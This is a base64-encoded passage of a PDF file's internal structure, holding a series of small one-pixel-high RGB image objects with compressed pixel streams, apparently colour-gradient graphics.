KTwKZW5kc3RyZWFtCmVuZG9iagoxNDYgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9T dWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMAogICAvSGVp Z2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQog ICAvTGVuZ3RoIDcxCj4+CnN0cmVhbQp42gE8AMP///7r5NS9w4h4139z23tt5nRp/Xtu72NW9l9U 8k1J9ExL6D4/zikwwy04ry030YKHwYmM1LCyxra54+DncVAkRgplbmRzdHJlYW0KZW5kb2JqCjE0 NyAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRz UGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI1CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAv RGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODYKPj4Kc3RyZWFt CnjaAUsAtP/7w8T/u73Sa2/eZW67GCvOGzHYFi7pHTblGTLlGTLmITPlITXsKzzkITLoHzLkGS3r FS/5EjbmBircDSvKJzzCKzyGCBTkmJzMo6FrCyJDCmVuZHN0cmVhbQplbmRvYmoKMTQ4IDAgb2Jq Cjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21w b25lbnQgOAogICAvV2lkdGggMjEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VS R0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA3NAo+PgpzdHJlYW0KeNoBPwDA //7+5PruvP/uqurSiPPSdfXJUPzNS//NQP/FM//FM/2/LPeyJvWyL9mdI72PMbaQPbmaWbCbbsi8 ruXd2uPc47wnK7EKZW5kc3RyZWFtCmVuZG9iagoxNDkgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy OAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDk1Cj4+CnN0cmVhbQp42gFUAKv///Tj//XQ9dqr/duU165Ey58k 0J8U560N660M768H86wG86wG/7cT/7QR/7QQ/7IO/7IK+qcA9qUA9KUC8qQE76UO2pcI26Ez0KBL 78iH6Mma/PLoBl00rgplbmRzdHJlYW0KZW5kb2JqCjE1MCAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDIxCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggNzQKPj4Kc3RyZWFtCnjaAT8AwP/u+f3r/f/n/f+lwdlrj8No js1vmeVrlvJjkf9XhvpXhf1Hc+5Kc+c/ZdBDZLVIZZ9uh7Bwh6avw8TR4tzW4dl+GCnwCmVuZHN0 cmVhbQplbmRvYmoKMTUxIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAv SW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAg IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0 aCA4MAo+PgpzdHJlYW0KeNoBRQC6/8HJ97vJ/1Zms1RmvE5nzkJgzj1h0z9t3Ttt3jps3T5z5T5z 5Ttw5D5v5kBv5TZj2jph1kRm0jxcwT9dt0RhsUhhoZmt3y30JJMKZW5kc3RyZWFtCmVuZG9iagox NTIgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc4Cj4+CnN0cmVh bQp42nvx76XBBHPZOdqiK9Q418tzbZJn3ygLREzrZFjWyjEsl2SYI8I8Q4yhW4C5Q5CpVIAhkZUl mks4WCxpRkratLSjj46cvncaABLWF04KZW5kc3RyZWFtCmVuZG9iagoxNTMgMCBvYmoKPDwgCiAg IC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4 CiAgIC9XaWR0aCAyMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAv RmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc0Cj4+CnN0cmVhbQp42gE/AMD///nu+evg /+XZ0JKH0nVt33Bp73Ju9XBr/2dm8VFR9U9T4zlCxSMuwiUwwDxHr0RO24SN3quyz7K3/uft9O7y MCooZgplbmRzdHJlYW0KZW5kb2JqCjE1NCAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIKICAgL0hl aWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUK ICAgL0xlbmd0aCAxNAo+PgpzdHJlYW0KeNp79+/3u3+/ARQ9Bc8KZW5kc3RyZWFtCmVuZG9iagox NTUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0 c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyNAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDgzCj4+CnN0cmVh bQp42gFIALf//+fvzYuV6n6NzjFM0CFA2xw+2w8y2w8w2RAwyA4mwhAmvRAktwMctwMeuAQftwQh rAMitxc5rB07kRIvgBoy1IWa/+Px+unzpLggGAplbmRzdHJlYW0KZW5kb2JqCjE1NiAwIG9iago8 PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9u ZW50IDgKICAgL1dpZHRoIDI0CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdC CiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODMKPj4Kc3RyZWFtCnjaAUgAt/9n i/1ni/tWfOlXgOlVgeRUguJQgeBPgeBNf+BLf+RAcuE+cONBbeY5YuA9YOA8Xtw6VMs+VsJAVLVD Vatfa6W5we+8w93o7fOztyjiCmVuZHN0cmVhbQplbmRvYmoKMTU3IDAgb2JqCjw8IAogICAvVHlw ZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAv V2lkdGggMjEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRl ciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA3NAo+PgpzdHJlYW0KeNoBPwDA//7r3f/k1NGSgdh4 auRzZfd/cf97bv9xY/FdUflbUuc9PeY9QNw1PLoqM6oxOqhETNSjpsaqqdbIx83LzPDu8/MxJwQK ZW5kc3RyZWFtCmVuZG9iagoxNTggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0 eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyOAogICAvSGVpZ2h0 IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAv TGVuZ3RoIDk1Cj4+CnN0cmVhbQp42gFUAKv//Oro/+Pk97m+/7K6tC9Ctx01xRcy4Bs53xc04hU0 5Rk05hoz8SY65xwv6Rsv6hww7how7RMs5Q8p3REq0x00zR82rxInoSc2iy88/8zU/+vu/u7vS/kq kQplbmRzdHJlYW0KZW5kb2JqCjE1OSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1 YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIxCiAgIC9IZWln aHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAg IC9MZW5ndGggNzQKPj4Kc3RyZWFtCnjaAT8AwP///+X//9P88rfw3or23nrt0mf10Vf+z0P/zDv/ zTf/win/wCv+tyfupSXnozTNji+4i0qxjFe/pn62qI7T1svgDCtwCmVuZHN0cmVhbQplbmRvYmoK MTYwIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0Jp dHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2Ug L0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDExCj4+CnN0cmVh bQp42nv7/RsABa4C2wplbmRzdHJlYW0KZW5kb2JqCjE2MSAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDMwCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggMTAxCj4+CnN0cmVhbQp42gFaAKX///3u///l//7g+/XT//PH 6saIyp5T0Z8+3aEf4KAY7KkQ+LAE+rEA/7kB/7gI/7cL/7YP/7US/KYD96EA+KAA/aYB/KYD7Z0A 3ZUL1pUh3KJB1aJT/d+7//XhDxk6YgplbmRzdHJlYW0KZW5kb2JqCjE2MiAwIG9iago8PCAKICAg L1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgK ICAgL1dpZHRoIDIxCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9G aWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggNzQKPj4Kc3RyZWFtCnjaAT8AwP/u/v7B2fO8 2f90lcp1nOlynPBpmPRml/1bj/9NfvRNf/JDceFGcdc6Yb5KZ6tQZZqHlr2Jl7TGzdfl7fDo7O1V cynuCmVuZHN0cmVhbQplbmRvYmoKMTYzIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAv U3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hl aWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUK ICAgL0xlbmd0aCA4MAo+PgpzdHJlYW0KeNoBRQC6/5Cczo2b2k5iuFJryE5r0z9j1UVt30Rt40Ju 50Fv6Thm4ENv6kZw6Tlj2zpj2Tpf0UZo1kdo0T5bwUFct1Jnttrh/+Dj9gDIJeYKZW5kc3RyZWFt CmVuZG9iagoxNjQgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFn ZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMwogICAvSGVpZ2h0IDEKICAgL0Nv bG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc4 Cj4+CnN0cmVhbQp42nv1541Bv7XsbF3RFWqc6+U5N8qxbZABIsa10sxrZBmWSzLMFmaeIcbQLcDc IchUKsCQyMoSzSUcLJY0IyVtWtrRR0dO3zsNABGWF0QKZW5kc3RyZWFtCmVuZG9iagoxNjUgMCBv YmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNv bXBvbmVudCA4CiAgIC9XaWR0aCAyMAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0Rldmlj ZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDcxCj4+CnN0cmVhbQp42gE8 AMP///Pt/+7o87qz/7Os0XNr9X54/3lz+Wlh/mdg/1xY8kZE80VG2jM9uyErtiIuwFJbrFpg36Gm 4r/F1cXIyQAlRQplbmRzdHJlYW0KZW5kb2JqCjE2NiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmpl Y3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDI0 CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRl RGVjb2RlCiAgIC9MZW5ndGggODAKPj4Kc3RyZWFtCnja+//m7fkZs1/0Ttuh77xHxuy0iPF1bgMQ 4tTdw6q8kVNpo5DGWmHtNSK6iwW05gnp9HCptPGo1vJrNMiYlSlaTPVJ+H/t6ffbzwF6Xh4XCmVu ZHN0cmVhbQplbmRvYmoKMTY3IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlw ZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjQKICAgL0hlaWdodCAx CiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xl bmd0aCA4Mwo+PgpzdHJlYW0KeNoBSAC3/1d59VZ481p/9FB55U964E583FKD4FGE30x+3Up+4UJ0 4zps3z1p5Ddg4Dte4D9h3z9Z0EJaxjxQsUBSqFZloLG+67W+2+Tr85GFKCcKZW5kc3RyZWFtCmVu ZG9iagoxNjggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQog ICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMgogICAvSGVpZ2h0IDEKICAgL0NvbG9y U3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc3Cj4+ CnN0cmVhbQp42gFCAL3/9OTk+uLi14iE6n957HNr+Hhr/Xhp925e/2le+U5H9UFA+EBC5iw34i43 xBolqSoxlzQ51ImN5MLB2sfD8+zm7O/oZGooogplbmRzdHJlYW0KZW5kb2JqCjE2OSAwIG9iago8 PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9u ZW50IDgKICAgL1dpZHRoIDI3CiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdC CiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggOTIKPj4Kc3RyZWFtCnjaAVEArv// 6ez/4+v/q7ytOUy/MUnLGDbcHTzhGzziEzHjEy3uHjbjGizeGynhIS7gIi7ZHyrOFCLOEyTRFCrR Fy7NFzC5Fy+uGzWkIzn/scTyuMf/6vV8yydTCmVuZHN0cmVhbQplbmRvYmoKMTcwIDAgb2JqCjw8 IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25l bnQgOAogICAvV2lkdGggMjIKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IK ICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA3Nwo+PgpzdHJlYW0KeNoBQgC9///3 7Pjrv//tq+rVgufMY+zLV/XRV/nRTf/NPvvDLv/DJ/68Hf+6IPaqFtiMEtOLJ8GALsaYZ7+ZdePH r9jKvfDz7DvjLX0KZW5kc3RyZWFtCmVuZG9iagoxNzEgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy OAogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDk1Cj4+CnN0cmVhbQp42gFUAKv///vu/+7W8cum/MqP46NC5qM6 554e/KkL/asB/60A+7AH+bAJ+bEN+bEN/7IN/qwI/6oF+58A/p0B9ZYA6pMG45QT1o4Y0Y4l0aBT +tSW7dat/vftD5M0zgplbmRzdHJlYW0KZW5kb2JqCjE3MiAwIG9iago8PCAKICAgL1R5cGUgL1hP YmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRo IDIwCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0Zs YXRlRGVjb2RlCiAgIC9MZW5ndGggNzEKPj4Kc3RyZWFtCnjaATwAw//t/v/R5vd0kMJuj9RnjNxr lvVplvtXiO9TiPJNhu89dNk/c9ZAb8tFbcI4XKhYbqpfbKGor92srtfj2veZoCV9CmVuZHN0cmVh bQplbmRvYmoKMTczIDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1h Z2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGggMjUKICAgL0hlaWdodCAxCiAgIC9D b2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4 Ngo+PgpzdHJlYW0KeNoBSwC0/+j1/+f1/4SW1FRns05nwz9azUpo4Epn5Uls7kls7kRq6UZq4kZr 3klu4Etv3z1fyzVVxDlUx0Ve1UhezUVXuYGIvoaKp+Tm8+bm7n71K4YKZW5kc3RyZWFtCmVuZG9i agoxNzQgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAv Qml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyMwogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3Bh Y2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc4Cj4+CnN0 cmVhbQp42nvx76Nuv43MLB2R5aoc6+Q4N8qxrpcGIsa10sxrZBmWSTDMEmKaLsrQLcDcIchUKsCQ yMoSzSUcLJY0IyVtWtrRR0dO3zsNAA43FzEKZW5kc3RyZWFtCmVuZG9iagoxNzUgMCBvYmoKPDwg CiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVu dCA4CiAgIC9XaWR0aCAyMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgog ICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc0Cj4+CnN0cmVhbQp42gE/AMD///Ht 57+9+biyzHdy2nFt73h092xn/2li/mBX/15V80A56zUx7TU31yUxwyIxvCYy3oKFxY6L4cK98e7p 6+/u+J8nBwplbmRzdHJlYW0KZW5kb2JqCjE3NiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QK ICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDMwCiAg IC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVj b2RlCiAgIC9MZW5ndGggMTAxCj4+CnN0cmVhbQp42gFaAKX/++3q/uzq+97g/9nf76u433WJ8W2E tihAwSM8uRIsvRUuvBQrwBouvhswoQIYrxowqhw0kAoifQkcdwwciy07gzE9o2FrrHB6pnR9x5ej wJujwaCr5NHX3dLYwf0usgplbmRzdHJlYW0KZW5kb2JqCjE3NyAwIG9iago8PCAKICAgL1R5cGUg L1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dp ZHRoIDEKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAv RmxhdGVEZWNvZGUKICAgL0xlbmd0aCAxMQo+PgpzdHJlYW0KeNp7+/kzAAWjAtQKZW5kc3RyZWFt CmVuZG9iagoxNzggMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFn ZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAyCiAgIC9IZWlnaHQgMQogICAvQ29s b3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggMTQK Pj4Kc3RyZWFtCnjae/v3z+u/fwEULQXMCmVuZHN0cmVhbQplbmRvYmoKMTc5IDAgb2JqCjw8IAog ICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQg OAogICAvV2lkdGggMjQKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAg L0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4Mwo+PgpzdHJlYW0KeNoBSAC3/1J58FF4 71iB9Ux45Up64Ep63FGE4E+E4Ex+30x84kdy5T5o4D9n4Tlf2jtf2T9j2zxdzj1exTZUtDlUr09h qaq69a+83+br74fOJ/QKZW5kc3RyZWFtCmVuZG9iagoxODAgMCBvYmoKPDwgCiAgIC9UeXBlIC9Y T2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0 aCAyMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9G bGF0ZURlY29kZQogICAvTGVuZ3RoIDc0Cj4+CnN0cmVhbQp42gE/AMD//+Xk67m487e212tp5WVi /3hy+Gth/Glf+2Rb/2Bb/0pP7yoz8ig04yQ23Cc4xSAwoi43ijo93qSj5MrJ3M7L3okkmQplbmRz dHJlYW0KZW5kb2JqCjE4MSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUg L0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIKICAgL0hlaWdodCAxCiAg IC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0 aCAxNAo+PgpzdHJlYW0KeNp79ff3y7+/ARQPBcQKZW5kc3RyZWFtCmVuZG9iagoxODIgMCBvYmoK PDwgCiAgIC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBv bmVudCA4CiAgIC9XaWR0aCAyNgogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJH QgogICAvRmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDg5Cj4+CnN0cmVhbQp42gFOALH/ /+btl1VhsklavBk41yJB3h9B3BQx3xUv6yA24Rot3xws3h4t2x8t1x4s1h0t1h0t0hIp0BMpyAok uggiswwosBYw4WV91WuB/9Xm/+HsSrojWQplbmRzdHJlYW0KZW5kb2JqCjE4MyAwIG9iago8PCAK ICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50 IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAg IC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGggODAKPj4Kc3RyZWFtCnjaAUUAuv//+en8 8dX/8M/8353/4IfzzWjzylb3yk3/z0//zkb/yzb8xCn/wiX/thv/tR7uoxTOhhDIhiW7gDDJpHjA pYfs28nj3NIGTTADCmVuZHN0cmVhbQplbmRvYmoKMTg0IDAgb2JqCjw8IAogICAvVHlwZSAvWE9i amVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQZXJDb21wb25lbnQgOAogICAvV2lkdGgg MjcKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9EZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxh dGVEZWNvZGUKICAgL0xlbmd0aCA5Mgo+PgpzdHJlYW0KeNoBUQCu//LgzP7et+GsZuWsW9ybN/el G/2mCf+pAv+2EP+3EvSoBfSoBPyrBP+vCP+tCP2hAP6fBfeXAvKVCe6WEd6JDNqKEciFHPzDafDF gP/wz//86Q17MfQKZW5kc3RyZWFtCmVuZG9iagoxODUgMCBvYmoKPDwgCiAgIC9UeXBlIC9YT2Jq ZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4CiAgIC9XaWR0aCAy MQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAvRmlsdGVyIC9GbGF0 ZURlY29kZQogICAvTGVuZ3RoIDc0Cj4+CnN0cmVhbQp42gE/AMD/7P//6v//nLjfaI7PZI3dYo7n Z5T5Z5T7VoXvVYXzUH/xPmzcQWvXQGrORmvDOFmoWXCmYG+Yr7fbs7bX6d/6MLIn+AplbmRzdHJl YW0KZW5kb2JqCjE4NiAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAgL1N1YnR5cGUgL0lt YWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDIzCiAgIC9IZWlnaHQgMQogICAv Q29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2RlCiAgIC9MZW5ndGgg ODAKPj4Kc3RyZWFtCnjaAUUAuv/F2fpLX5RHXalVbdlKZdpIZOE/YOM8YeNPdfQ+Ztc+Z9FAZ9BB Zs5DZdA5WcY8V8pFXtVJXc5AUblbZqhfZpLS1/XU2e3jlyTHCmVuZHN0cmVhbQplbmRvYmoKMTg3 IDAgb2JqCjw8IAogICAvVHlwZSAvWE9iamVjdAogICAvU3VidHlwZSAvSW1hZ2UKICAgL0JpdHNQ ZXJDb21wb25lbnQgOAogICAvV2lkdGggMjMKICAgL0hlaWdodCAxCiAgIC9Db2xvclNwYWNlIC9E ZXZpY2VSR0IKICAgL0ZpbHRlciAvRmxhdGVEZWNvZGUKICAgL0xlbmd0aCA4MAo+PgpzdHJlYW0K eNoBRQC6/+j/7y2PPByaLBSnJQqtHgmvHwauHQWuHwCsHAOqHACmGACaEwKXFQCKDwKHEgJ1EABh BQZaDBNTFmOYZGaVZ8XixMzdyw5JFzMKZW5kc3RyZWFtCmVuZG9iagoxODggMCBvYmoKPDwgCiAg IC9UeXBlIC9YT2JqZWN0CiAgIC9TdWJ0eXBlIC9JbWFnZQogICAvQml0c1BlckNvbXBvbmVudCA4 CiAgIC9XaWR0aCAyMQogICAvSGVpZ2h0IDEKICAgL0NvbG9yU3BhY2UgL0RldmljZVJHQgogICAv RmlsdGVyIC9GbGF0ZURlY29kZQogICAvTGVuZ3RoIDc0Cj4+CnN0cmVhbQp42gE/AMD//+jkzomE 44J85nly73Zt8m1m/WRc/2Fa+1RM/1JM/0RC7S8x7i832SMyxSc2vSs43JWTv6OY0M6/7vvx7Pv2 u4MmRwplbmRzdHJlYW0KZW5kb2JqCjE4OSAwIG9iago8PCAKICAgL1R5cGUgL1hPYmplY3QKICAg L1N1YnR5cGUgL0ltYWdlCiAgIC9CaXRzUGVyQ29tcG9uZW50IDgKICAgL1dpZHRoIDMzCiAgIC9I ZWlnaHQgMQogICAvQ29sb3JTcGFjZSAvRGV2aWNlUkdCCiAgIC9GaWx0ZXIgL0ZsYXRlRGVjb2Rl CiAgIC9MZW5ndGggMTEwCj4+CnN0cmVhbQp42gFjAJz//+7v/+rq/9XW/7q+/7e+6md3+V933C9L 0Q0x1Aww1w8z0hAzzSU/pwsjmxAjjRoniB0nfh0mcBYiahgmkUdUrHB6pnN6sYeLrImNspyetKGj r6OjuKyut6ywzMPG3t7e29/gosA2XwplbmRzdHJlYW0KZW5kb2JqCjE5MCAwIG9iago8PCAKICAg 